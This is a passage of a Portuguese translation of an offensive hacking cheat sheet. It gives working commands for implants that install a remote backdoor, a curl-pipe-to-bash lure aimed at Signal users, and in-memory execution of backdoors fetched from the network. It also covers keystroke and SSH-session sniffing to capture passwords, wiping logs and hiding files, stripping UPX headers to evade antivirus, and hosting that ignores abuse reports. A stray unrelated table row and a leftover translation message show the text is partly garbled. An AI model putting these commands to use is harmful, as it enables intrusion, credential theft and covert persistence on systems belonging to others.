exec /var/tmp/.b00m -p -c 'exec python -c "import os;os.setuid(0);os.execlp(\"bash\", \"kdaemon\")"'
```
<a id="implant"></a>
**6.viii. Implante auto-extraível**

Crie um script shell auto-extraível usando [mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) (veja o código-fonte para exemplos).

Exemplo simples:```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh
```
Exemplos do mundo real são os melhores:
1. Crie um implant que instala o gsocket e chama nosso webhook em caso de sucesso:```sh
./mkegg.sh egg.sh deploy-all.sh '(GS_WEBHOOK_KEY=e90d4b38-8285-490d-b5ab-a6d5c7c990a7 deploy-all.sh 2>/dev/null >/dev/null &)'
# On the target system do: 'cat egg.sh | bash' or './egg.sh'
```
2. Renomeie `egg.sh` para `update-for-fools.txt` e envie como blob para o repositório GitHub do [Signal](https://www.signal.org/).

3. Não engane as pessoas para que atualizem o Signal usando este comando ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash
```
<a id="hostrecon"></a>
## 7. Reconhecimento de Host
---

Obtenha [informações essenciais](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/whatserver.sh) sobre um host:```sh
bash -c "$(curl -fsSL https://thc.org/ws)"
```
ou```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"
```
netstat se não houver netstat/ss/lsof:```sh
curl -fsSL https://raw.githubusercontent.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/master/tools/awk_netstat.sh | bash
```
Verifique a velocidade do sistema```sh
curl -fsSL https://bench.sh | bash
# Another speed check:  
# curl -fsSL https://yabs.sh | bash
```
Encontre todos os binários suid/sgid:```
find  / -xdev -type f -perm /6000  -ls 2>/dev/null
```
Encontre todos os diretórios graváveis:```bash
wfind() {
    local arr dir

    arr=("$@")
    while [[ ${#arr[@]} -gt 0 ]]; do
        dir=${arr[${#arr[@]}-1]}
        unset "arr[${#arr[@]}-1]"
        find "$dir"  -maxdepth 1 -type d -writable -ls 2>/dev/null
        IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
    done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr 
```
Encontre senhas locais (usando [noseyparker](https://github.com/praetorian-inc/noseyparker) ou [trufflehog](https://github.com/trufflesecurity/trufflehog)):```sh
curl -o np -fsSL https://github.com/hackerschoice/binary/raw/main/tools/noseyparker-x86_64-static
chmod 700 np && \
./np scan . && \
./np report --color=always | less -R
```
- Use [PassDetective](https://github.com/aydinnyunus/PassDetective) para encontrar senhas em ~/.*history
- Use [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) para extrair e descriptografar senhas do Chrome do processo em execução (somente Windows)
- Extraia senhas de navegadores usando [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor)

Usando `grep`:```sh
# Find passwords (without garbage).
grep -HEronasi  '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .
```
Encontre subdomínios ou e-mails em arquivos:```bash
resolv() { while read -r x; do r="$(getent hosts "$x")" || continue; echo "${r%% *}"$'\t'"${x}"; done; }
find_subdomains() {
	local d="${1//./\\.}"
	local rexf='[0-9a-zA-Z_.-]{0,64}'"${d}"
	local rex="$rexf"'([^0-9a-zA-Z_]{1}|$)'
	[ $# -le 0 ] && { echo -en >&2 "Extract sub-domains from all files (or stdin)\nUsage  : find_subdomains <apex-domain> <file>\nExample: find_subdomain .com | anew"; return; }
	shift 1
	[ $# -le 0 ] && [ -t 0 ] && set -- .
	command -v rg >/dev/null && { rg -oaIN --no-heading "$rex" "$@" | grep -Eao "$rexf"; return; }
	grep -Eaohr "$rex" "$@" | grep -Eo "$rexf"
}
# find_subdomain .foobar.com | anew | resolv
# find_subdomain @gmail.com | anew
```
---
<a id="shell-hacks"></a>
## 8. Dicas de Shell
<a id="shred"></a>
**8.i. Fragmentar e Apagar um arquivo**```sh
shred -z foobar.txt
```
| Interface de gerenciamento #1 (`mgmt`) | `management` | Configurar interface(s) de gerenciamento |
| Interface de gerenciamento #2 | - | Interfaces de gerenciamento adicionais podem ser adicionadas se necessário |```sh
## SHRED without shred command
shred() {
    [[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; }
    dd status=none bs=1k count=$(du -sk ${1:?} | cut -f1) if=/dev/urandom >"$1"
    rm -f "${1:?}"
}
shred foobar.txt
```
Note: Or deploy your files in */dev/shm* directory so that no data is written to the harddrive. Data will be deleted on reboot.

Note: Or delete the file and then fill the entire harddrive with /dev/urandom and then rm -rf the dump file.

<a id="restore-timestamp"></a>
**8.ii. Restaurar a data de um arquivo**

Digamos que você tenha modificado */etc/passwd*, mas agora a data do arquivo mostra que */etc/passwd* foi modificado. Use *touch* para alterar a data do arquivo para a data de outro arquivo (neste exemplo, */etc/shadow*)```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'
```
Use [hackshell](#hackshell) e `ctime /etc/passwd` para também ajustar o ctime e o birth-time.

<a id="shell-clean-logs"></a>
**8.iii. Limpar logfile**

Isso redefinirá o logfile para 0 sem precisar reiniciar o syslogd etc:```sh
>/var/log/auth.log # or on old shells: cat /dev/null >/var/log/auth.log
```
Isso removerá qualquer linha contendo o IP `1.2.3.4` do arquivo de log:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }
```
Exemplos:```sh
# xlog "1\.2\.3\.4" /var/log/auth.log
# xlog "${SSH_CLIENT%% *}" /var/log/auth.log
# xlog "^2023.* thc\.org" foo.log
```
<a id="shell-hide-files"></a>
**8.iv. Ocultar arquivos desse usuário sem privilégios de root**

Nosso diretório de trabalho favorito é */dev/shm/*. Este local é memória volátil e será perdido na reinicialização. SEM LOGZ == SEM CRIME.

Ocultando arquivos permanentes:

Método 1:```sh
alias ls='ls -I system-dev'
```
Isto ocultará o diretório *system-dev* do comando *ls*. Coloque no *~/.profile* do usuário ou no */etc/profile* em todo o sistema.

Método 2:
Truques dos anos 80. Considere qualquer diretório que o administrador raramente inspeciona (como */boot/.X11/..* ou algo assim):```sh
mkdir '...'
cd '...'
```
Método 3:
O Unix permite nomes de arquivo com praticamente qualquer caractere ASCII, exceto 0x00. Experimente a tecla tab (*\t*). Acontece que a maioria dos administradores não sabe como usar cd para entrar em um diretório assim.```sh
mkdir $'\t'
cd $'\t'
```
<a id="perm-files"></a>
**8.v. Tornar um arquivo imutável**

Isto irá redirecionar `/var/www/cgi/blah.cgi` para `/boot/backdoor.cgi`. O arquivo `blah.cgi` não pode ser modificado ou removido (a menos que seja desmontado).```sh
# /boot/backdoor.cgi contains our backdoor
touch /var/www/cgi/blah.cgi
mount -o bind,ro /boot/backdoor.cgi /var/www/cgi/blah.cgi
```
<a id="nosudo"></a>
**8.vi. Trocar de usuário sem sudo/su**

Necessário para capturar screenshots de sessões X11 (ou seja, `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` ou `import -display :0 -window root screenshot.png`)```bash
xsu() {
    local name="${1:?}"
    local u g h
    local cmd="python"

    command -v python3 >/dev/null && cmd="python3"
    [ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
    u=$(id -u ${name:?}) || return
    g=$(id -g ${name:?}) || return
    h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
    HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user
```
<a id="payload"></a>
**8.vii. Ofuscar e criptografar payload**

Use [UPX](https://github.com/upx/upx) para empacotar um binário ELF (exemplo `/bin/id`):```shell
BIN="mybin"
upx -qqq /bin/id -o "${BIN}"
```
Limpe o [cabeçalho UPX](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S) e o 2º cabeçalho ELF para enganar o Anti-Vírus:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"
```
Opcionalmente, limpe assinaturas e vestígios de UPX:```shell
cat "${BIN}" \
| perl -e 'local($/);$_=<>;s/(.*)(\$Info:[^\0]*)(.*)/print "$1";print "\0"x length($2); print "$3"/es;' \
| perl -e 'local($/);$_=<>;s/(.*)(\$Id:[^\0]*)(.*)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
mv "${BIN}.tmpupx" "${BIN}"
grep -Eqm1 "PROT_EXEC\|PROT_WRITE" "${BIN}" \
&& cat "${BIN}" | perl -e 'local($/);$_=<>;s/(.*)(PROT_EXEC\|PROT_WRI[^\0]*)(.*)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx" \
&& mv "${BIN}.tmpupx" "${BIN}"
perl -i -0777 -pe 's/UPX!/\0\0\0\0/sg' "${BIN}"
```
Verifique que o binário não pode ser descompactado:```shell
upx -d "${BIN}"  # Should fail with 'not packed by UPX'
```
Opcionalmente, criptografe-o com [bincrypter](https://github.com/hackerschoice/bincrypter).

<a id="memexec"></a>
**8.viii. Implantando um backdoor sem tocar no sistema de arquivos**

Inicie um backdoor sem gravar no sistema de arquivos ou quando todos os locais graváveis estiverem montados com a maléfica flag `noexec`.

Um one-liner em Perl para carregar um binário na memória e executá-lo (sem tocar em nenhum disco, /dev/shm ou /tmp). Veja [Hackshell](https://github.com/hackerschoice/hackshell/blob/main/hackshell.sh) para mais informações.```sh
memexec() {
    local stropen strread
    local strargv0='"foo", '
    [ -t 0 ] && {
        stropen="open(\$i, '<', '$1') or die 'open: \$!';"
        strread='$i'
        unset strargv0
    }
    # Check Syscall-NR: perl -e 'require "sys/syscall.ph"; printf &SYS_memfd_create;'
    perl -e '$f=syscall(319, $n="", 1);
if(-1==$f){ $f=syscall(279, $n="", 1); if(-1==$f){ die "memfd_create: $!";}}
'"${stropen}"'
open($o, ">&=".$f) or die "open: $!";
while(<'"${strread:-STDIN}"'>){print $o $_;}
exec {"/proc/$$/fd/$f"} '"${strargv0}"'@ARGV or die "exec: $!";' -- "$@"
}
# Example usage:
# memexec /usr/bin/id -u
# cat /usr/bin/id | memexec -u
# curl -SsfL https://thc.org/my-backdoor-binary | memexec
```
A variante mais curta possível é (exemplo):```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u
```
(Obrigado a [tmp.Out](https://tmpout.sh/) por algumas discussões educadas e [trabalho anterior](https://captain-woof.medium.com/how-to-execute-an-elf-in-memory-living-off-the-land-c7e67dbc3100) de outros)

Implante o gsocket sem gravar no sistema de arquivos (exemplo):```sh
GS_ARGS="-ilqD -s SecretChangeMe31337" memexec <(curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m))
```
A backdoor também pode ser canalizada via SSH diretamente para a memória do remoto e executada:```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"
```
Se você tiver uma única chance de executar remotamente um comando (como via um exploit PHP), então esta é a sua linha:```sh
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)|perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- -ilqD -s SecretChangeMe31337
```
---
<a id="crypto"></a>
## 9. Criptografia
<a id="gen-password"></a>
**9.i. Gerar senha aleatória rápida**

Bom para senhas rápidas sem elemento humano.```sh
openssl rand -base64 24
```
Se `openssl` não estiver disponível, também podemos usar `head` para ler de `/dev/urandom`.```sh
head -c 32 < /dev/urandom | xxd -p -c 32
```
ou torne-o alfanumérico```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16
```
<a id="crypto-filesystem"></a>
**9.ii.a. Sistemas de ficheiros encriptados transportáveis Linux - cryptsetup**

Crie um sistema de ficheiros encriptado de 256MB. Será solicitada uma palavra-passe.```sh
dd if=/dev/urandom of=/tmp/crypted bs=1M count=256 iflag=fullblock
cryptsetup luksFormat /tmp/crypted
cryptsetup open /tmp/crypted sec
mkfs -t ext3 /dev/mapper/sec
```
Montagem:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec
```
Armazene os dados em `/mnt/crypted` e, em seguida, desmonte:```sh
umount /mnt/sec
cryptsetup close sec 
```
<a id="encfs"></a>
**9.ii.b. Sistemas de arquivos criptografados transportáveis para Linux - EncFS**

Crie ```.sec``` e armazene os dados criptografados em ```.raw```:```sh
mkdir .raw .sec
encfs --standard  "${PWD}/.raw" "${PWD}/.sec"
```
unmount:```sh
fusermount -u .sec
```
<a id="encrypting-file"></a>
**9.iii Criptografando um arquivo**

Criptografe seus 0-Days e arquivos de log antes de transferi-los - por favor. (e escolha sua própria senha):```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc
```
[No content provided to translate.]```sh
# Decrypt
openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt.enc >input.txt
```
---
<a id="sniffing"></a>
## 10. Farejamento e sequestro de sessão
<a id="session-sniffing"></a>
**10.i Fareje a sessão SHELL de um usuário**

Um comando de uma linha para `~/.bashrc` que fareja as teclas digitadas pelo usuário e as salva em `~/.config/.pty/.@*`. Útil quando não se é root e é necessário capturar as credenciais sudo/ssh/git do usuário. 

Implantação: Copie e cole o seguinte no alvo e siga as instruções:```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'
```
- Combinado com zapper para ocultar opções de comando da lista de processos.
- Requer `/usr/bin/script` do util-linux >= 2.37 (flag -I). Obtemos o binário estático do [pkgforge](https://bin.pkgforge.dev).
- Considere usar /dev/tcp/3.13.3.7/1524 como arquivo de saída para registrar em um host remoto.
- Faça login com `ssh -o "SetEnv LC_PTY=1"` para desabilitar o registro.

<a id="dtrace"></a>
**10.ii Farejar todas as sessões SHELL com dtrace - FreeBSD**

Especialmente útil para Solaris/SunOS e FreeBSD (pfSense). Ele usa sondas de kernel para rastrear *todos* os processos sshd.

Copie este "Script D" para o sistema de destino em um arquivo chamado `d`:```c
#pragma D option quiet
inline string NAME = "sshd";
syscall::write:entry
/(arg0 >= 5) && (arg2 <= 16) && (execname == NAME)/
{ printf("%d: %s\n", pid, stringof(copyin(arg1, arg2))); }
```
Inicie um dtrace e registre em /tmp/.log:```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)
```
<a id="bpf"></a>
**10.iii Farejar todas as sessões SHELL com eBPF - Linux**

O eBPF nos permite *com segurança* interceptar mais de 120.000 funções no kernel. É como um "dtrace" melhor, mas para Linux.```sh
curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace
chmod 755 bpftrace
curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt
./bpftrace -Bnone ptysnoop.bt
```
Confira nossas próprias [ferramentas eBPF para capturar senhas sudo/su/ssh](https://github.com/hackerschoice/bpfhacks).

<a id="ssh-sniffing-strace"></a>
**10.iv Capture a sessão SSH, bash ou SSHD de um usuário com strace**```sh
tit() {
	strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
	# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ...  | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)
```
Também é possível farejar o processo SSHD (captura também senhas do sudo etc.). Note que rastreamos a chamada `write()` em vez disso (porque o sshd 'escreve' dados para o bash):```sh
# Find the sshd PID that spawned the bash:
ps -eF | grep -E '(^UID|sshd.*pts)' | grep -v ' grep'
...
UID          PID    PPID  C    SZ   RSS PSR STIME TTY          TIME CMD
paralle+    7770    7764  0  5088  6780   1 Aug28 ?        00:00:05 sshd: parallels@pts/0
paralle+    9056    9050  0  5088  6652   1 Aug28 ?        00:00:00 sshd: parallels@pts/1
paralle+   11938   11932  0  5074  6772   1 10:59 ?        00:00:00 sshd: parallels@pts/3
...
```
Sniff 7770 (exemplo):```shell
tit write 7770
```
<a id="ssh-sniffing-wrapper"></a>
**10.v. Fareje a sessão SSH de saída de um usuário com um script wrapper**

Método ainda mais sujo caso */proc/sys/kernel/yama/ptrace_scope* esteja definido como 1 (o strace falhará em sessões SSH já em execução)

Crie um script wrapper chamado 'ssh' que execute strace + ssh para registrar a sessão:
<details>
  <summary>Mostrar script wrapper - CLIQUE AQUI</summary>```sh
# Cut & Paste the following into a bash shell:
# Add a local path to the PATH variable so our 'ssh' is executed instead of the real ssh:
echo 'PATH=~/.local/bin:$PATH #0xFD0E' >>~/.profile

# Create a log directory and our own ssh binary
mkdir -p ~/.local/bin ~/.local/logs

cat <<__EOF__ >~/.local/bin/ssh
#! /bin/bash
strace -e trace=read -I 1 -o '! ~/.local/bin/ssh-log \$\$' /usr/bin/ssh \$@
__EOF__

cat <<__EOF__ >~/.local/bin/ssh-log
#! /bin/bash
grep -F 'read(4' | cut -f2 -d\\" | while read -r x; do
        [[ \${#x} -gt 5 ]] && continue 
        [[ \${x} == +(\\\\n|\\\\r) ]] && { echo ""; continue; }
        echo -n "\${x}"
done >\$HOME/.local/logs/ssh-log-"\${1}"-\`date +%s\`.txt
__EOF__

chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log
. ~/.profile

echo -e "\033[1;32m***SUCCESS***.
Logfiles stored in ~/.local/.logs/.
To uninstall cut & paste this\033[0m:\033[1;36m
  grep -v 0xFD0E ~/.profile >~/.profile-new && mv ~/.profile-new ~/.profile
  rm -rf ~/.local/bin/ssh ~/.local/bin/ssh-log ~/.local/logs/ssh-log*.txt
  rmdir ~/.local/bin ~/.local/logs ~/.local &>/dev/null \033[0m"
```
(obrigado a Gerald por testar isto)
</details>

A sessão SSH será capturada e registrada em *~/.ssh/logs/* na próxima vez que o usuário entrar no shell e usar SSH.

<a id="ssh-sniffing-sshit"></a>
**10.vi Sniffar a sessão SSH de saída de um usuário usando SSH-IT**

A maneira mais fácil é usar [https://www.thc.org/ssh-it/](https://www.thc.org/ssh-it/).```sh
bash -c "$(curl -fsSL https://thc.org/ssh-it/x)"
```
<a id="hijack"></a>
**10.vii Sequestrar / Assumir uma sessão SSH em execução**  

Use [https://github.com/nelhage/reptyr](https://github.com/nelhage/reptyr) para assumir uma sessão SSH existente:```sh
ps ax -o pid,ppid,cmd | grep 'ssh '
./reptyr -T <SSH PID>
### or: ./reptyr -T $(pidof -s ssh)
### Must use '-T' or otherwise the original user will see that his SSH process gets suspended.
```
---
<a id="vpn-shell"></a>
## 11. VPN e Shells
<a id="shell"></a>
**11.i. Servidores Root Descartáveis**```console
$ ssh [email protected] # Use password 'segfault'
```
https://thc.org/segfault

<a id="vpn"></a>
**11.ii. VPN/VPS/Proxies**

Provedores de VPN Confiáveis
1. https://www.mullvad.net
1. https://www.cryptostorm.is
2. https://ivpn.net
1. https://proton.me - Oferece VPN GRÁTIS
1. https://vpn.fail - Operado por voluntários

Servidores Virtuais Privados. Por favor, verifique [offshore.cat](https://offshore.cat/).
1. https://www.hetzner.com - Barato
2. https://hivecloud.pw - Sem KYC. À prova de balas. Aceita Cripto.
1. https://dmzhost.co - Ignora a maioria das solicitações de abuso
2. https://alexhost.com - Sem KYC. À prova de balas. Zona livre de DMCA
3. https://basehost.eu - Ignora ordens judiciais
4. https://buyvm.net - Melhor amigo do Warez
5. https://serverius.net - Usado por gângsteres
6. https://1984.hosting - Privacidade
7. https://bithost.io - Revendedor para DigitalOcean, Linode, Hetzner e Vultr (aceita Cripto)
8. https://www.privatelayer.com - Com sede na Suíça.

Veja [outros serviços sem KYC](https://kycnot.me/) ([.onion](http://kycnotmezdiftahfmc34pqbpicxlnx3jbf5p7jypge7gdvduu7i6qjqd.onion/))

Proxies (não usamos nenhum desses)
1. [V2Ray Proxies](https://github.com/mahdibland/V2RayAggregator)
2. [Hola Proxies](https://github.com/snawoot/hola-proxy)
3. [Zaeem's Free Proxy List](https://github.com/Zaeem20/FREE_PROXIES_LIST)
4. [Proxy Broker 2](https://github.com/bluet/proxybroker2)
5. [proxyscrape.com](https://api.proxyscrape.com/v2/?request=displayproxies&protocol=all&timeout=750&country=all)
6. [my-proxy.com](https://www.my-proxy.com)
7. [getfreeproxylists.blogspot.com](https://getfreeproxylists.blogspot.com/)
8. [proxypedia.org](https://proxypedia.org/)
9. [socks-proxy.net](https://socks-proxy.net/)
10. [Segfault](https://www.thc.org/segfault): `curl -x socks5h://$(PROXY) ipinfo.io` - seleciona um proxy aleatório para cada requisição

Muitos outros serviços (grátis)  
1. https://free-for.dev/

---
<a id="osint"></a>
## 12. Coleta de Inteligência

DNS reverso de múltiplos bancos de dados públicos:```sh
rdns () {
    curl -m10 -fsSL "https://ip.thc.org/${1:?}?limit=20&f=${2}"
}
# rdns <IP>
```
Encontre subdomínios do banco de dados TLS/THC-IP:```sh
sub() {
    [ $# -ne 1 ] && { echo >&2 "crt <domain-name>"; return 255; }
    curl -fsSL "https://crt.sh/?q=${1:?}&output=json" --compressed | jq -r '.[].common_name,.[].name_value' | anew | sed 's/^\*\.//g' | tr '[:upper:]' '[:lower:]'
    curl -fsSL "https://ip.thc.org/sb/${1:?}"
}
# sub <domain>
```
| OSINT Hacker Tools ||
| --- | --- |
| https://api.c99.nl | Grátis: [Subdomain Finder](https://subdomainfinder.c99.nl), PAGO: Phone-Lookup, CF Resolver, WAF Detector, IP2Host, e mais...por US$25/ano. |
| https://osint.sh | Grátis. Subdomain Finder, Histórico de DNS, Buckets S3 públicos, IP reverso, Pesquisa de certificados e mais |
| https://cli.fyi | Grátis. Interface curl/json para muitos serviços. Experimente `curl cli.fyi/me` ou `curl cli.fyi/thc.org`. |
| https://check-your-website.server-daten.de | Grátis. Verificação TLS/DNS/segurança de um domínio. |
| https://ipsniper.info/api.html | Ferramentas de informações rDNS/fDNS e outras ferramentas de informações de IP |
| https://ip.thc.org | Consulta fDNS/rDNS: `curl -fL ip.thc.org/140.82.121.3` |
| https://hackertarget.com/ip-tools/ | Serviço OSINT gratuito (Reverse IP, MTR, port scan, CMS scans, Vulnerability Scans, suporte a API) |
| https://account.shodan.io/billing/tour | Banco de dados de portas abertas e consulta DNS de todo o mundo |
| https://dnsdumpster.com/ | Ferramenta de reconhecimento de domínio |
| https://crt.sh/ | Pesquisa de certificados TLS |
| https://archive.org/web/ | Visualização histórica de sites |
| https://www.farsightsecurity.com/solutions/dnsdb/ | Pesquisa de DNS (não gratuita) |
| https://wigle.net/ | Mapeador de redes sem fio |
| https://radiocells.org/ | Informações de torres de celular |
| https://www.shodan.io/ | Mecanismo de busca para encontrar dispositivos e banners (não gratuito) |
| https://spur.us/context/me | Classificação de IP `https://spur.us/context/<IP>` |
| http://drs.whoisxmlapi.com | Consulta Whois reversa (não gratuita) |
| https://www.abuseipdb.com | Classificação de abuso de IP |

| OSINT for Detectives ||
| --- | --- |
| https://start.me/p/rx6Qj8/nixintel-s-osint-resource-list | Lista de recursos OSINT da Nixintel |
| https://github.com/jivoi/awesome-osint | Lista Awesome de OSINT |
| https://cipher387.github.io/osint_stuff_tool_collection/ | Coleção de ferramentas OSINT |
| https://osintframework.com/ | Muitas ferramentas OSINT |

| OSINT Databases ||
| --- | --- |
| https://data.ddosecrets.com/ | Dumps de banco de dados

---
<a id="misc"></a>
## 13. Diversos
<a id="tools"></a>
**13.i. Ferramentas do ofício**

Comunicações
1. [CryptoStorm Email](https://www.cs.email/) - E-mails descartáveis (enviar e receber). (Lista de [Disposable-email-services](https://github.com/AnarchoTechNYC/meta/wiki/Disposable-email-services])).
1. [Temp-Mail](https://temp-mail.org/en/) - Serviço de e-mail descartável com ótima interface web. Apenas recebimento.
2. [tuta.io](https://tuta.io) ou [ProtonMail](https://pm.me)/[.onion](https://protonmailrmez3lotccipshtkleegetolb73fuirgj7r4o4vfu7ozyd.onion/) - E-mail gratuito e privado
1. [Quackr.Io](https://quackr.io/) - Mensagens SMS/texto descartáveis (Lista de [Disposable-SMS-services](https://github.com/AnarchoTechNYC/meta/wiki/Disposable-SMS-services)).
1. [SMS-Man](https://sms-man.com) - SMS/texto anônimos que funcionam com Signal, WA e muitos outros 
1. [Crypton](https://crypton.sh/) - Alugue um SIM/SMS privado com criptomoedas ([.onion](http://cryptonx6nsmspsnpicuihgmbbz3qvro4na35od3eht4vojdo7glm6yd.onion/))
2. [Lista de serviços "No KYC"](https://kycnot.me/) ([.onion](http://kycnotmezdiftahfmc34pqbpicxlnx3jbf5p7jypge7gdvduu7i6qjqd.onion/))

OpSec
1. [OpSec for Rebellions](https://medium.com/@hackerschoice/it-security-and-privacy-for-the-rebellions-of-the-world-db4023cadcca) - Comece aqui. Os 3 passos mais simples.
1. [RiseUp](https://riseup.net/) - E-mail, VPN e dicas para rebeliões (online).
2. [CryptoPad](https://cryptpad.fr)/[DisRoot](https://disroot.org/eng) - Infraestrutura de TI para organizar uma rebelião.
1. [Neko](https://github.com/m1k1o/neko) - Inicie o Firefox no Docker e acesse via 127.0.0.1:8080 (WebRTC)
2. [x11Docker](https://github.com/mviereck/x11docker) - Isole qualquer aplicativo X11 em um contêiner (somente Linux e Windows). ([Artigo](https://techviewleo.com/run-gui-applications-in-docker-using-x11docker/?expand_article=1))
3. [DangerZone](https://github.com/freedomofpress/dangerzone) - Torne PDFs seguros antes de abri-los.
4. [ExifTool](https://exiftool.org/) - Remova metadados de arquivos (`exiftool -all= example.pdf example1.jpg ...`)
5. [EFF](https://www.eff.org/) - Conselhos inteligentes para lutadores pela liberdade.

Exploits
1. [ttyinject](https://github.com/hackerschoice/ttyinject) e [ptyspy](#10-session-sniffing-and-hijaking) para LPE.
1. [SploitScan](https://github.com/xaitax/SploitScan) - Pontuação de exploits e busca de PoC (por xaitax)
1. [Traitor](https://github.com/liamg/traitor) - Tenta vários exploits/vulnerabilidades para obter root (LPE)
1. [PacketStorm](https://packetstormsecurity.com) - Nosso site favorito desde que compartilhamos uma pizza com fringe[at]dtmf.org em Nova York em 2000
1. [ExploitDB](https://www.exploit-db.com) - Também inclui o banco de dados do Metasploit e o banco de dados do Google Hacking
1. [Shodan/Exploits](https://exploits.shodan.io/welcome) - Semelhante ao exploit-db

Coleta de informações do sistema
1. `curl -fsSL https://thc.org/ws | bash` - Mostra todos os domínios hospedados em um servidor + informações do sistema
1. https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS - Informações rápidas do sistema para hackers.
1. https://github.com/zMarch/Orc - Ferramenta pós-exploração para encontrar RCE local (digite `getexploit` após a instalação)
1. https://github.com/The-Z-Labs/linux-exploit-suggester - Sugere exploits com base nas versões do sistema alvo 
1. https://github.com/efchatz/pandora - Windows: extrai senhas de vários gerenciadores de senhas

Backdoors
1. https://www.gsocket.io/deploy - O menor backdoor do mundo
1. https://github.com/m0nad/Diamorphine - Módulo de kernel Linux para ocultar processos e arquivos
